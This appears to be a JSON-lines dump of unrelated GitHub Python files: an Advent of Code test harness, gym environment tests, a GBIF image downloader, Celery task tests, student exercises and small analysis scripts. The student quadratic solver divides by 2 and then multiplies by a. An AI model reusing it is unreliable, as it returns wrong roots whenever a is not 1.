highest = max(0, highest)\n rock = rocks[k%5]\n rw, rh = len(rock[0]), len(rock)\n goodtomoveup = True\n while goodtomoveup == True:\n if (jets[jj] == \"<\" and pos[1] > 0) or (jets[jj] == \">\" and pos[1]+rw < 7):\n goodtomoveside = True\n try:\n for i in range(rh):\n for j in range(rw):\n if grid[pos[0]+i][pos[1] + (1 if jets[jj] == \">\" else -1) +j] == 1 and rock[i][j] == 1:\n goodtomoveside = False\n except:\n goodtomoveside = False\n pos[1] = max(pos[1], 0)\n pos[1] = min(pos[1], 7 - rw)\n if goodtomoveside == True:\n pos[1] = pos[1] + (-1 if jets[jj] == \"<\" else 1)\n pos[1] = min(pos[1], 7 - rw)\n pos[1] = max(pos[1], 0)\n jj = (jj + 1) % len(jets)\n for i in range(rh):\n for j in range(rw):\n try:\n if grid[pos[0]-1+i][pos[1]+j] == 1 and rock[i][j] == 1:\n goodtomoveup = False\n except:\n goodtomoveup = False\n if pos[0] <= 0:\n pos[0] = 0\n goodtomoveup = False\n if goodtomoveup == True:\n pos[0] -= 1\n for i in range(rh):\n for j in range(rw):\n if rock[i][j]:\n grid[pos[0] + i][pos[1]+j] = 1\n old = highest\n while grid[highest].count(1) > 0:\n highest += 1\n oh.append(highest - old)\n k += 1\n if part == 1:\n return highest\n done = False\n z = 15\n while not done:\n done = True \n for zz in range(1, z+1):\n if oh[len(oh)-zz] != oh[len(oh)-zz-z]:\n done = False\n z += 1\n z -= 1\n a = len(oh) - 1\n while a % z != 1000000000000 % z:\n a -= 1\n x1, x2 = a - z, a\n y1, y2 = sum(oh[:x1]), sum(oh[:x2])\n m = fractions.Fraction(y2-y1,x2-x1)\n b = 0\n while m * x1 + fractions.Fraction(b,x2-x1) > y1:\n b -= 1\n while m * x1 + fractions.Fraction(b,x2-x1) < y1:\n b += 1\n print(b, x2-x1)\n return m*1000000000000+fractions.Fraction(b, x2-x1)\n\nTESTDATA = [\n [\"Problem_01\", problem01, 1, 24000, 45000, 68802, 205370],\n [\"Problem_02\", problem02, 2, 15, 12, 11150, 8295],\n [\"Problem_02a\", problem02a, 2, 15, 12, 11150, 8295],\n [\"Problem_02b\", problem02b, 2, 15, 12, 11150, 8295],\n [\"Problem_02c\", problem02c, 2, 15, 12, 11150, 8295],\n [\"Problem_02d\", problem02d, 2, 15, 12, 11150, 8295],\n [\"Problem_02e\", problem02e, 2, 15, 12, 11150, 8295],\n [\"Problem_02f\", problem02f, 2, 15, 12, 11150, 8295],\n [\"Problem_03\", problem03, 3, 157, 70, 7980, 2881],\n [\"Problem_03a\", problem03a, 3, 157, 70, 7980, 2881],\n [\"Problem_03b\", problem03b, 3, 157, 70, 7980, 2881],\n [\"Problem_03c\", problem03c, 3, 157, 70, 7980, 2881],\n [\"Problem_03d\", problem03d, 3, 157, 70, 7980, 2881],\n [\"Problem_04\", problem04, 4, 2, 4, 602, 891],\n [\"Problem_04a\", problem04a, 4, 2, 4, 602, 891],\n [\"Problem_04b\", problem04b, 4, 2, 4, 602, 891],\n [\"Problem_04c\", problem04c, 4, 2, 4, 602, 891],\n [\"Problem_04d\", problem04d, 4, 2, 4, 602, 891],\n [\"Problem_05\", problem05, 5, \"CMZ\", \"MCD\", \"RLFNRTNFB\", \"MHQTLJRLB\"],\n [\"Problem_05a\", problem05a, 5, \"CMZ\", \"MCD\", \"RLFNRTNFB\", \"MHQTLJRLB\"],\n [\"Problem_06\", problem06, 6, [7,5,6,10,11], [19,23,23,29,26], [1480], [2746]],\n [\"Problem_06a\", problem06a, 6, [7,5,6,10,11], [19,23,23,29,26], [1480], [2746]],\n [\"Problem_06b\", problem06b, 6, [7,5,6,10,11], [19,23,23,29,26], [1480], [2746]],\n [\"Problem_06c\", problem06c, 6, [7,5,6,10,11], [19,23,23,29,26], [1480], [2746]],\n [\"Problem_07\", problem07, 7, 95437, 24933642, 1297159, 3866390],\n [\"Problem_07a\", problem07a, 7, 95437, 24933642, 1297159, 3866390],\n# [\"Problem_07b\", problem07b, 7, 95437, 24933642, 1297159, 3866390],\n [\"Problem_08\", problem08, 8, 21, 8, 1690, 535680],\n [\"Problem_08a\", problem08a, 8, 21, 8, 1690, 535680],\n [\"Problem_09\", problem09, 9, 13, 1, 5513, 2427],\n [\"Problem_10\", problem10, 10, 13140, None, 14820, None],\n [\"Problem_11\", problem11, 11, 10605, 2713310158, 56595, 15693274740],\n [\"Problem_12\", problem12, 12, 31, 29, 456, 454],\n [\"Problem_13\", problem13, 13, 13, 140, 5675, 20383],\n [\"Problem_14\", problem14, 14, 24, 93, 1199, 23925],\n [\"Problem_15\", problem15, 15, 26, 56000011, 4725496, 12051287042458],\n [\"Problem_16\", problem16, 16, 1651, 1707, 1820, 2602],\n [\"Problem_17\", problem17, 17, 3068, 1514285714288, 3206, 1602881844347],\n][-1:]\n\nclass TestSequence(unittest.TestCase):\n \"\"\"Passthrough case. Tests added in main.\"\"\"\n\ndef test_generator(i, j):\n \"\"\"Simple test generator.\"\"\" \n\n def test(self):\n self.assertEqual(i, j)\n return test\n\nif __name__ == '__main__':\n for t in TESTDATA:\n setattr(TestSequence, 'test_%s' % t[0] + \"_A1\",\n test_generator(t[1](inputfile=(\"0\" + str(t[2]))[-2:]+\".test\",\n part=1), t[3]))\n setattr(TestSequence, 'test_%s' % t[0] + \"_A2\",\n test_generator(t[1](inputfile=(\"0\" + str(t[2]))[-2:]+\".test\",\n part=2), t[4]))\n setattr(TestSequence, 'test_%s' % t[0] + \"_B1\",\n test_generator(t[1](inputfile=(\"0\" + str(t[2]))[-2:]+\".input\",\n part=1), t[5]))\n setattr(TestSequence, 'test_%s' % t[0] + \"_B2\",\n test_generator(t[1](inputfile=(\"0\" + str(t[2]))[-2:]+\".input\",\n part=2), t[6]))\n unittest.main(verbosity=2)","repo_name":"jeek/adventofcode2022","sub_path":"adventofcode.py","file_name":"adventofcode.py","file_ext":"py","file_size_in_byte":34890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26758507763","text":"\ntodosOsNumeros = []\nnumerosPares = []\nnumerosImpares = []\n\nwhile True:\n numeroDigitado = int(input('Digite o numero ou 0 para sair: '))\n \n if numeroDigitado != 0:\n todosOsNumeros.append(numeroDigitado)\n if numeroDigitado % 2 == 0:\n numerosPares.append(numeroDigitado)\n else: numerosImpares.append(numeroDigitado)\n else:\n break\n\nprint('Todos os numeros digitados: {}' .format(todosOsNumeros))\nprint('Numeros pares: {}' .format(numerosPares))\nprint('Numeros impares: {}' .format(numerosImpares))\n","repo_name":"David-Alvess/Treinamento-Fabrica-Backend","sub_path":"Semana 03/Atividades home office - Semana 03/questao5.py","file_name":"questao5.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18083112361","text":"import numpy as np\n\nfrom envs.flexible_arm_3dof import SymbolicFlexibleArm3DOF\nfrom envs.gym_env import (\n FlexibleArmEnv,\n FlexibleArmEnvOptions,\n WallObstacle\n )\nfrom utils.utils import StateType\n\n\nSEED = 0\nrng = np.random.default_rng(SEED)\n\n\ndef _create_env():\n # --- Create FlexibleArm environment ---\n n_seg = 5\n n_seg_mpc = 3\n\n # Env options\n R_Q = [3e-6] * 3\n R_DQ = [2e-3] * 3\n R_PEE = [1e-4] * 3\n env_options = FlexibleArmEnvOptions(\n n_seg=n_seg,\n n_seg_estimator=n_seg_mpc,\n sim_time=1.3,\n dt=0.01,\n qa_range_start=np.array([-np.pi/2, 0., -np.pi+0.05]),\n qa_range_end=np.array([3*np.pi/2, np.pi, np.pi-0.05]),\n contr_input_states=StateType.ESTIMATED, # \"real\" if the n_seg is the same for the data and control env\n sim_noise_R=np.diag([*R_Q, *R_DQ, *R_PEE]),\n render_mode=\"human\",\n )\n \n # Wall obstacle\n w = np.array([0., 1., 0.])\n b = np.array([0., -0.15, 0.5])\n wall = WallObstacle(w, b)\n\n # Create environment\n env = FlexibleArmEnv(env_options, obstacle=wall)\n return env\n\ndef test_obstacle():\n # Wall obstacle\n w = np.array([0., 1., 0.])\n b = np.array([0., -0.15, 0.5])\n wall = WallObstacle(w, b)\n\n np.testing.assert_array_equal(wall.w, w)\n np.testing.assert_array_equal(wall.b, b)\n\ndef test_obstacle_observation():\n env = _create_env()\n obs = env.reset()[0]\n w = obs[-6:-3]\n b = obs[-3:]\n\n np.testing.assert_array_equal(w, env.obstacle.w)\n np.testing.assert_array_equal(b, env.obstacle.b)\n\n\nif __name__ == \"__main__\":\n test_obstacle()\n test_obstacle_observation()","repo_name":"shamilmamedov/flexible_arm","sub_path":"tests/test_obstacles.py","file_name":"test_obstacles.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43209226825","text":"import wave\nimport numpy as np\n\nf = wave.open('heart-threebeats.wav')\nnframes = f.getnframes()\nframes = f.readframes(nframes)\n\nidxdata = np.zeros(len(frames)/2, np.float32)\nfor i in range(len(frames)/2):\n msb = np.uint8(ord(frames[2*i+1]))\n lsb = np.uint8(ord(frames[2*i]))\n s_comb = np.int16(msb<<8|lsb);\n idxdata[i] = np.float32(s_comb)\n \n # print idxdata[i]\n\nf.close()\n \nimport matplotlib.pyplot as plt\nfrom scipy.fftpack import fft\nfrom scipy.io import wavfile # get the api\n\nfs, data = wavfile.read('heart-threebeats.wav') # load the data\na = data # this is a two channel soundtrack, I get the first track\nb=[(ele/2**8.)*2-1 for ele in a] # this is 8-bit track, b is now normalized on [-1,1)\nc = fft(b) # calculate fourier transform (complex numbers list)\nd = len(c)/2 # you only need half of the fft list (real signal symmetry)\nplt.plot(abs(c[:(d-1)]),'r') \nplt.show()\n\na = np.uint8(0b00000000)\nb = np.uint8(0b00000001)\nc = np.uint8(0b11000111)\nd = np.uint8(0b11010110)\n","repo_name":"davidxue1989/HeartRateFromSound","sub_path":"heartbeatAnalysis.py","file_name":"heartbeatAnalysis.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16249594906","text":"#coding:utf-8\n# from . import chat\nfrom flask import jsonify,abort\nfrom flask import make_response\nfrom . import friendMsg\nimport time\n\n# from functools import wraps\n# def allow_cross_domain(fun):\n# @wraps(fun)\n# def wrapper_fun(*args, **kwargs):\n# rst = make_response(fun(*args, **kwargs))\n# rst.headers['Access-Control-Allow-Origin'] = '*'\n# rst.headers['Access-Control-Allow-Methods'] = 'PUT,GET,POST,DELETE'\n# allow_headers = \"Referer,Accept,Origin,User-Agent\"\n# rst.headers['Access-Control-Allow-Headers'] = allow_headers\n# return rst\n# return wrapper_fun\n\n\n# xxxx:9999/chat/test\n@friendMsg.route('/test',methods=['GET'])\ndef test():\n # return jsonify({'msg':'test error','status':200})\n return 'chat success'\n\n# xxxx:9999/chat/\n@friendMsg.route('/',methods=['GET'])\ndef main():\n data = {}\n initTimt = time.mktime(time.strptime('2017-03-20 23:32:00','%Y-%m-%d %H:%M:%S'))\n data_demo = {\n 'defaultAvator': '../../images/yeoman.png',\n # 倒着渲染\n 'users': [{\n 'avator': '../../images/mn1.jpg',\n 'userName': '小玲',\n 'userID': '001',\n 'msgInfo': [{\n # 'latestModify': new Date('2017-03-17 14:6:25'),\n 'latestModify': initTimt,\n 'latestMsg': '你好,很高兴认识你!'\n }],\n 'isRead': False\n },\n {\n 'avator': '../../images/mn2.jpg',\n 'userName': '马玲',\n 'userID': '002',\n 'msgInfo': [{\n # 'latestModify': new Date('2017-03-16 16:30:25'),\n 'latestModify': initTimt,\n 'latestMsg': '你好,很高兴认识你!你好,很高兴认识你!你好,很高兴认识你!'\n }, {\n # 'latestModify': new Date('2017-03-16 12:30:25'),\n 'latestModify': initTimt,\n 'latestMsg': '你好,很高兴认识你!你好,很高兴认识你!你好,很高兴认识你!'\n }],\n 'isRead': False\n },\n {\n 'avator': '',\n 'userName': '玲玲',\n 'userID': '003',\n 'msgInfo': [{\n # 'latestModify': new Date('2017-03-15 11:30:25'),\n 'latestModify': initTimt,\n 'latestMsg': '你好,很高兴认识你!'\n }],\n 'isRead': True\n }\n ]\n }\n data = {\n 'status':200,\n 'data':data_demo\n }\n return jsonify(data)\n pass\n\n\n","repo_name":"yeyuguo/my-antd-chat","sub_path":"python/serverAPI/friendMsg/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34232581298","text":"import gym\nimport numpy as np\n\ndef env_space_check():\n env = gym.make('LunarLander-v2')\n\n print(f'action_space: {env.action_space}')\n print(f'obs_space: {env.observation_space}')\n\n obs = env.reset()\n obs = np.array(obs)\n\n flatten_obs = obs.reshape(-1)\n\n print('origin_obs: {obs}')\n print('flatten_obs: {flatten_obs}')\n\nif __name__ == '__main__':\n env_space_check()","repo_name":"SeungeonBaek/discrete-agents-test","sub_path":"env_test.py","file_name":"env_test.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"37606578218","text":"import sys\nimport os\nimport json\n\n\nimport unittest\nfrom mock import patch\nfrom adsft import app, tasks, checker\nfrom adsmsg import FulltextUpdate\nimport httpretty\n\n\nclass TestWorkers(unittest.TestCase):\n\n def setUp(self):\n unittest.TestCase.setUp(self)\n self.proj_home = tasks.app.conf['PROJ_HOME']\n self.grobid_service = tasks.app.conf['GROBID_SERVICE']\n self._app = tasks.app\n self.app = app.ADSFulltextCelery('test', proj_home=self.proj_home, local_config=\\\n {\n \"CELERY_ALWAYS_EAGER\": False,\n \"CELERY_EAGER_PROPAGATES_EXCEPTIONS\": False,\n 'RUN_NER_FACILITIES_AFTER_EXTRACTION': True,\n })\n tasks.app = self.app # monkey-patch the app object\n\n\n def tearDown(self):\n unittest.TestCase.tearDown(self)\n self.app.close_app()\n tasks.app = self._app\n\n\n\n def test_task_check_if_extract(self):\n with patch.object(tasks.task_extract, 'delay', return_value=None) as task_extract:\n\n message = {'bibcode': 'fta', 'provider': 'MNRAS',\n 'ft_source': '{}/tests/test_integration/stub_data/full_test.txt'.format(self.proj_home)}\n tasks.task_check_if_extract(message)\n self.assertTrue(task_extract.called)\n expected = {'bibcode': 'fta', 'file_format': 'txt',\n #'index_date': '2017-06-30T22:45:47.800112Z',\n 'UPDATE': 'NOT_EXTRACTED_BEFORE',\n 'meta_path': u'{}/ft/a/meta.json'.format(self.app.conf['FULLTEXT_EXTRACT_PATH']),\n 'ft_source': '{}/tests/test_integration/stub_data/full_test.txt'.format(self.proj_home),\n 'provider': 'MNRAS'}\n actual = task_extract.call_args[0][0]\n self.assertTrue(set(expected).issubset(actual))\n self.assertTrue('index_date' in actual)\n\n\n with patch.object(tasks.task_extract, 'delay', return_value=None) as task_extract:\n\n message = {'bibcode': 'fta', 'provider': 'MNRAS',\n 'ft_source': '{}/tests/test_integration/stub_data/full_test.pdf'.format(self.proj_home)}\n tasks.task_check_if_extract(message)\n self.assertTrue(task_extract.called)\n\n expected = {'bibcode': 'fta', 'file_format': 'pdf',\n #'index_date': '2017-06-30T22:45:47.800112Z',\n 'UPDATE': 'NOT_EXTRACTED_BEFORE',\n 'meta_path': u'{}/ft/a/meta.json'.format(self.app.conf['FULLTEXT_EXTRACT_PATH']),\n 'ft_source': '{}/tests/test_integration/stub_data/full_test.pdf'.format(self.proj_home),\n 'provider': 'MNRAS'}\n actual = task_extract.call_args[0][0]\n self.assertTrue(set(expected).issubset(actual))\n self.assertTrue('index_date' in actual)\n\n\n\n def test_task_extract_standard(self):\n with patch('adsft.writer.write_content', return_value=None) as task_write_text:\n msg = {'bibcode': 'fta', 'file_format': 'xml',\n 'index_date': '2017-06-30T22:45:47.800112Z',\n 'UPDATE': 'NOT_EXTRACTED_BEFORE',\n 'meta_path': u'{}/ft/a/meta.json'.format(self.app.conf['FULLTEXT_EXTRACT_PATH']),\n 'ft_source': '{}/tests/test_integration/stub_data/full_test.xml'.format(self.proj_home),\n 'provider': 'MNRAS'}\n with patch.object(tasks.task_output_results, 'delay', return_value=None) as task_output_results:\n with patch.object(tasks.task_identify_facilities, 'delay', return_value=None) as identify_facilities:\n tasks.task_extract(msg)\n self.assertTrue(task_write_text.called)\n self.assertTrue(identify_facilities.called)\n actual = task_write_text.call_args[0][0]\n\n self.assertEqual(u'I. INTRODUCTION INTRODUCTION GOES HERE Manual Entry TABLE I. TEXT a NOTES a TEXT\\nAPPENDIX: APPENDIX TITLE GOES HERE APPENDIX CONTENT', actual['fulltext'])\n self.assertEqual(u'Acknowledgments WE ACKNOWLEDGE.', actual['acknowledgements'])\n self.assertEqual([u'ADS/Sa.CXO#Obs/11458'], actual['dataset'])\n self.assertTrue(task_output_results.called)\n\n\n def test_task_extract_pdf(self):\n if self.grobid_service is not None:\n httpretty.enable()\n expected_grobid_fulltext = \"\"\n httpretty.register_uri(httpretty.POST, self.grobid_service,\n body=expected_grobid_fulltext,\n status=200)\n with patch('adsft.writer.write_content', return_value=None) as task_write_text:\n msg = {'bibcode': 'fta', 'file_format': 'pdf',\n 'index_date': '2017-06-30T22:45:47.800112Z',\n 'UPDATE': 'NOT_EXTRACTED_BEFORE',\n 'meta_path': u'{}/ft/a/meta.json'.format(self.app.conf['FULLTEXT_EXTRACT_PATH']),\n 'ft_source': '{}/tests/test_integration/stub_data/full_test.pdf'.format(self.proj_home),\n 'provider': 'MNRAS'}\n with patch.object(tasks.task_identify_facilities, 'delay', return_value=None) as identify_facilities:\n with patch.object(tasks.task_output_results, 'delay', return_value=None) as task_output_results:\n with patch.object(tasks.task_output_results, 'delay', return_value=None) as task_output_results:\n tasks.task_extract(msg)\n self.assertTrue(identify_facilities.called)\n self.assertTrue(task_write_text.called)\n actual = task_write_text.call_args[0][0]\n #self.assertEqual(u'Introduction\\nTHIS IS AN INTERESTING TITLE\\n', actual['fulltext']) # PDFBox\n self.assertEqual(u'Introduction THIS IS AN INTERESTING TITLE', actual['fulltext']) # pdftotext\n if self.grobid_service is not None:\n self.assertEqual(expected_grobid_fulltext, actual['grobid_fulltext'])\n self.assertTrue(task_output_results.called)\n\n def test_task_output_results(self):\n with patch('adsft.app.ADSFulltextCelery.forward_message', return_value=None) as forward_message:\n msg = {\n 'bibcode': 'fta',\n 'body': 'Introduction\\nTHIS IS AN INTERESTING TITLE\\n'\n }\n tasks.task_output_results(msg)\n self.assertTrue(forward_message.called)\n actual = forward_message.call_args[0][0]\n #self.assertEqual(u'Introduction\\n\\nTHIS IS AN INTERESTING TITLE\\n', actual['fulltext'])\n self.assertTrue(isinstance(actual, FulltextUpdate))\n self.assertEqual(actual.bibcode, msg['bibcode'])\n self.assertEqual(actual.body, msg['body'])\n\n def test_task_identify_facilities(self):\n\n with patch('adsft.writer.write_file', return_value=None) as task_write_text:\n msg = {\n 'bibcode': 'fta',\n 'file_format': 'pdf',\n 'meta_path': u'{}/ft/a/meta.json'.format(self.app.conf['FULLTEXT_EXTRACT_PATH']),\n 'acknowledgements': 'We thank the Alma team.',\n }\n\n with patch('adsft.checker.load_meta_file', return_value=msg) as load_meta:\n msg = {\n 'bibcode': 'fta',\n 'file_format': 'pdf',\n 'meta_path': u'{}/ft/a/meta.json'.format(self.app.conf['FULLTEXT_EXTRACT_PATH']),\n 'acknowledgements': 'We thank the Alma team.',\n 'fulltext': 'Introduction\\nTHIS IS AN INTERESTING TITLE\\n'\n }\n\n with patch('adsft.reader.read_content', return_value=msg) as read_content:\n facs = ['facility0', 'facility1', 'facility1']\n\n with patch('adsft.ner.get_facilities', return_value=facs) as get_facs:\n tasks.task_identify_facilities(msg)\n self.assertTrue(load_meta.called)\n self.assertTrue(read_content.called)\n self.assertTrue(get_facs.called)\n self.assertTrue(task_write_text.called)\n\n actual = task_write_text.call_args[0][1]\n self.assertEqual(actual['facility-ack'], list(set(facs)))\n self.assertEqual(actual['facility-ft'], list(set(facs)))\n\n # test when facilties are not found, this will test the logic with logs when we move to python3\n with patch('adsft.ner.get_facilities', return_value=[]) as get_facs:\n tasks.task_identify_facilities(msg)\n # use logging to check logic here when we switch to python3\n\n # send empty acknowledgements, test logging in python3\n msg = {\n 'bibcode': 'fta',\n 'file_format': 'pdf',\n 'meta_path': u'{}/ft/a/meta.json'.format(self.app.conf['FULLTEXT_EXTRACT_PATH']),\n }\n\n with patch('adsft.checker.load_meta_file', return_value=msg) as load_meta:\n tasks.task_identify_facilities(msg)\n # use logging to check logic here when we switch to python3\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"adsabs/ADSfulltext","sub_path":"adsft/tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":9663,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"24449807045","text":"#!/usr/bin/env python\n\n'''\nBasic of Tkinter -- Intro\n'''\ntry:\n # Python 2\n from Tkinter import *\n\nexcept ImportError:\n # Python 3\n from tkinter import *\n\n\nclass Window(Frame):\n\n def __init__(self, master=None):\n Frame.__init__(self, master)\n self.master = master\n\n\nroot = Tk()\napp = Window(root)\nroot.mainloop()\n","repo_name":"KhairulIzwan/tkinter-tutorial","sub_path":"intro_1.py","file_name":"intro_1.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23325341458","text":"import urllib.request\nimport sys\nimport time\nimport tqdm\nfrom multiprocessing import Pool\nimport multiprocessing.pool as mpp\n\nfrom os import path, remove\n\nfrom os.path import isfile, join, exists\n\nfrom PIL import Image\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nimport os\n\n# istarmap.py for Python 3.8+\nimport multiprocessing.pool as mpp\n\n#source for loading bar : https://stackoverflow.com/questions/57354700/starmap-combined-with-tqdm\ndef istarmap(self, func, iterable, chunksize=1):\n \"\"\"starmap-version of imap\n \"\"\"\n self._check_running()\n if chunksize < 1:\n raise ValueError(\n \"Chunksize must be 1+, not {0:n}\".format(\n chunksize))\n\n task_batches = mpp.Pool._get_tasks(func, iterable, chunksize)\n result = mpp.IMapIterator(self)\n self._taskqueue.put(\n (\n self._guarded_task_generation(result._job,\n mpp.starmapstar,\n task_batches),\n result._set_length\n ))\n return (item for chunk in result for item in chunk)\n\n\nmpp.Pool.istarmap = istarmap\n\ndef get_url(element,counter,name,sizex,sizey):\n try:\n if element[0] == \"image/jpeg\":\n #print(\"saving to\",\"data/kitti/\"+name+\"/inference/\"+str(counter)+\"-\"+name+\".jpg\")\n urllib.request.urlretrieve(element[1], \"../data/kitti/\"+name+\"/inference/images/\"+str(counter)+\"-\"+name+\".jpg\")\n if sizex!=0 and sizey!=0:\n image = Image.open(\"../data/kitti/\"+name+\"/inference/images/\"+str(counter)+\"-\"+name+\".jpg\")\n new_image = image.resize((sizex,sizey))\n new_image.save(\"../data/kitti/\"+name+\"/inference/images/\"+str(counter)+\"-\"+name+\".jpg\")\n elif element[0] == \"image/png\":\n urllib.request.urlretrieve(element[1], \"../data/kitti/\"+name+\"/inference/images/\"+str(counter)+\"-\"+name+\".png\")\n im = Image.open(\"../data/kitti/\"+name+\"/inference/images/\"+str(counter)+\"-\"+name+\".png\")\n if not im.mode == 'RGB':\n im = im.convert('RGB')\n if sizex!=0 and sizey!=0:\n im = im.resize((sizex,sizey))\n im.save(\"../data/kitti/\"+name+\"/inference/images/\"+str(counter)+\"-\"+name+\".jpg\", quality=100)\n os.remove(\"../data/kitti\"+name+\"/inference/images/\"+str(counter)+\"-\"+name+\".png\")\n except:\n pass\n\n\nif __name__=='__main__': \n print(\"First argument : name of the species\")\n print(\"Second argument : txt file containing links in gbif multimedia format\")\n print(\"Third argument : number of images to download\")\n print(\"Fourth argument : size width for the image to be resized\")\n print(\"Fifth argument : size height for the image to be resized\")\n print(\"INFO : Images will be downloaded directly into inference folder of the dataset, since nothing is annotated\")\n name = sys.argv[1]\n\n f = open(sys.argv[2],\"r\")\n sizex=0\n sizey=0\n \n\n # number of files to be downloaded\n target_number = int(sys.argv[3])\n \n if len(sys.argv)>4:\n sizex = int(sys.argv[4])\n sizey = int(sys.argv[5])\n firstline=True\n targets = []\n # creation of folders\n if not path.exists(\"../data\") : os.mkdir(\"../data\")\n if not path.exists(\"../data/kitti\") : os.mkdir(\"../data/kitti\")\n if not path.exists(\"../data/kitti/\"+name) : os.mkdir(\"../data/kitti/\"+name)\n if not path.exists(\"../data/kitti/\"+name+\"/inference\") : os.mkdir(\"../data/kitti/\"+name+\"/inference\")\n if not path.exists(\"../data/kitti/\"+name+\"/train\") : os.mkdir(\"../data/kitti/\"+name+\"/train\")\n if not path.exists(\"../data/kitti/\"+name+\"/train/images\") : os.mkdir(\"../data/kitti/\"+name+\"/train/images\")\n if not path.exists(\"../data/kitti/\"+name+\"/inference/images\") : os.mkdir(\"../data/kitti/\"+name+\"/inference/images\")\n\n if not path.exists(\"../data/kitti/\"+name+\"/train/labels\") : os.mkdir(\"../data/kitti/\"+name+\"/train/labels\")\n for i in f.readlines():\n if firstline:\n firstline=False\n else:\n s = i.split(\"\\t\")\n file_format = s[2]\n url = s[3]\n targets.append((file_format,url))\n if len(targets)==target_number:\n break\n f.close()\n counter_list=[i for i in range(0,len(targets))]\n names = [name for i in range(0,len(targets))]\n listsizex = [sizex for i in range(0,len(targets))]\n listsizey = [sizey for i in range(0,len(targets))]\n #pool = ThreadPool(100)\n inputs = zip(targets, counter_list, names,listsizex,listsizey)\n with mpp.Pool(2) as pool:\n results = list(tqdm.tqdm(pool.istarmap(get_url,inputs),total=len(targets)))\n\n print(str(len(targets)),\"files successfully saved in path \",\"data/kitti/\"+name+\"/inference/images/*\")\n","repo_name":"charliergi/insect-thesis","sub_path":"scripts/gbif-parser.py","file_name":"gbif-parser.py","file_ext":"py","file_size_in_byte":4773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43323032657","text":"# print most occoured element count\nclass Node:\n\tdef __init__(self,data):\n\t\tself.data=data\n\t\tself.next=None\n\nclass Linkedlist:\n\tdef __init__(self):\n\t\tself.head=None\n\n\tdef push(self,data):\n\t\tnew_node= Node(data)\n\t\tnew_node.next=self.head\n\t\tself.head=new_node\n\n\tdef get_len(self):\n\t\ttemp=self.head\n\t\tcount=0\n\t\twhile temp:\n\t\t\tcount+=1\n\t\t\ttemp=temp.next\n\t\treturn count\n\n\tdef get_occourance(self,data):\n\t\ttemp=self.head\n\t\tcount =0\n\t\tfor i in range(0,self.get_len()):\n\t\t\tif temp.data==data:\n\t\t\t\tcount+=1\n\t\t\ttemp=temp.next\n\t\treturn count\n\n\tdef print(self):\n\t\ttemp=self.head\n\t\twhile(temp):\n\t\t\tprint(temp.data,end=' ')\n\t\t\ttemp=temp.next\n\n\nif __name__=='__main__':\n\tllist=Linkedlist()\n\tfor i in range(1,6):\n\t\tllist.push(i)\n\tfor i in range(2):\n\t\tllist.push(2)\n\tllist.push(3)\n\tllist.print()\n\tprint()\n\t#print(llist.get_len())\n\tprint(llist.get_occourance(2))\n\tprint(llist.get_occourance(3))\n\tprint(llist.get_occourance(0))","repo_name":"saiprasannasastry/python-programs","sub_path":"linkedlist/llist_occourance.py","file_name":"llist_occourance.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5809640420","text":"# Pablo Banzo Prida - A01782031\n\nimport math as m\n\ndef main():\n print(\"Realizado por: \")\n print(\"Pablo Banzo Prida - A01782031\")\n print(\"-----------------------------\")\n\n a = int(input(\"Da el valor de a: \"))\n b = int(input(\"Da el valor de b: \"))\n c = int(input(\"Da el valor de c: \"))\n\n chicharronera = m.pow (b,2)-4*a*c\n\n if a==0 and b==0:\n print (\"No tiene solución\")\n elif a==0 and b != 0:\n x = (-(c))/b\n print(x)\n elif a != 0 and b != 0:\n disc = b**2-4*a*c\n if disc < 0:\n print(\"Raices complejas\")\n elif disc > 0:\n x1=(-b+m.sqrt(chicharronera))/2*a\n x2=(-b-m.sqrt(chicharronera))/2*a\n print(x1)\n print(x2)\n elif disc == 0:\n x1=(-b+m.sqrt(chicharronera))/2*a\n print(x1)\n\nif __name__ == '__main__':\n main()","repo_name":"pridapablo/TC1028","sub_path":"Examen-Parcial-1/Cuadratica.py","file_name":"Cuadratica.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1465817785","text":"import numpy as np\nfrom tslearn.datasets import UCR_UEA_datasets\nimport matplotlib.pyplot as plt\n\ndatalist = UCR_UEA_datasets().list_datasets()\nch =[]\nsi = []\ndv = []\ndata = []\ncount = []\nfor e in datalist:\n\ttry:\n\t\tn = np.loadtxt(e+ \":result\")\n\texcept:\n\t\tpass\n\tresult = np.asanyarray(n)\n\tresult = np.swapaxes(n,0,1)\n\tcalinski_harabaz_score = np.corrcoef(result[1], result[2])\n\tsilhouette_score = np.corrcoef(result[1], result[4])\n\tdavies_bouldin_score = np.corrcoef(result[1],result[3])\n\tch.append(abs(calinski_harabaz_score[0][1]))\n\tsi.append(abs(silhouette_score[0][1]))\n\tdv.append(abs(davies_bouldin_score[0][1]))\n\tdata.append(result[1])\n\tcount.append(result[0])\nch = sum(ch)/len(ch)\nsi = sum(si)/len(si)\ndv = sum(dv)/len(dv)\t\n\ndata = np.asanyarray(data)\nprint(data)\n#data = np.savetxt(\"result.csv\", data, delimiter=\",\",fmt=('%f'))\nfig = plt.figure()\n'''\nfig.suptitle('85 Datasets and 